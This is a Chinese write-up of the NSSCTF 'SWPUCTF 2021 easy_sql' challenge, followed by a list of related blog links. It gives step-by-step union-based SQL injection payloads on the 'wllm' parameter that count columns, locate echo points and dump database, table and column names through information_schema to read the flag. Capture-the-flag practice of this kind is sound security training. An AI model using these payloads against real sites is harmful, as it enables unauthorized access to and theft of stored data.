[NSSCTF]-Web:[SWPUCTF 2021 新生赛]easy_sql解析

查看网页

有提示,参数是wllm,并且要我们输入点东西

所以,我们尝试以get方式传入

有回显,但似乎没啥用

从上图看应该是字符型漏洞,单引号字符注入

先查看字段数

复制代码
/?wllm=2'order by 3--+

没回显

报错了,说明字段数是3

然后查看回显点

复制代码
/?wllm=2'union select 1,2,3--+

注意,这里需要把wllm设置为不为1的数(就是让他查不到数据就行,因为wllm=1查得到数据),不然它只会输出wllm=1查询到的数据。

然后查看数据库名称

复制代码
/?wllm=2'union select 1,2,database()--+

得到数据库名称就可以按顺序数据库-表-列来找flag了

复制代码
/?wllm=2'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
复制代码
?wllm=2'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
复制代码
/?wllm=2'union select 1,2,flag from test_tb--+
相关推荐
独行soc1 小时前
#渗透测试#批量漏洞挖掘#HSC Mailinspector 任意文件读取漏洞(CVE-2024-34470)
linux·科技·安全·网络安全·面试·渗透测试
JAVA学习通1 小时前
Mybatis--动态SQL
sql·tomcat·mybatis
Me4神秘2 小时前
Linux国产与国外进度对垒
linux·服务器·安全
老K(郭云开)2 小时前
谷歌浏览器安全输入控件-allWebSafeInput控件
安全
Whoisshutiao3 小时前
网安-XSS-pikachu
前端·安全·网络安全
还是奇怪4 小时前
Linux - 安全排查 2
linux·运维·安全
m0_623955665 小时前
Oracle使用SQL一次性向表中插入多行数据
数据库·sql·oracle
jnrjian8 小时前
Oracle RAC环境 加错数据文件 的修复 归档非归档都没问题
sql·oracle
Clownseven9 小时前
云端备份与恢复策略:企业如何选择最安全的备份解决方案
安全
薄荷椰果抹茶11 小时前
【网络安全基础】第六章---Web安全需求
安全·web安全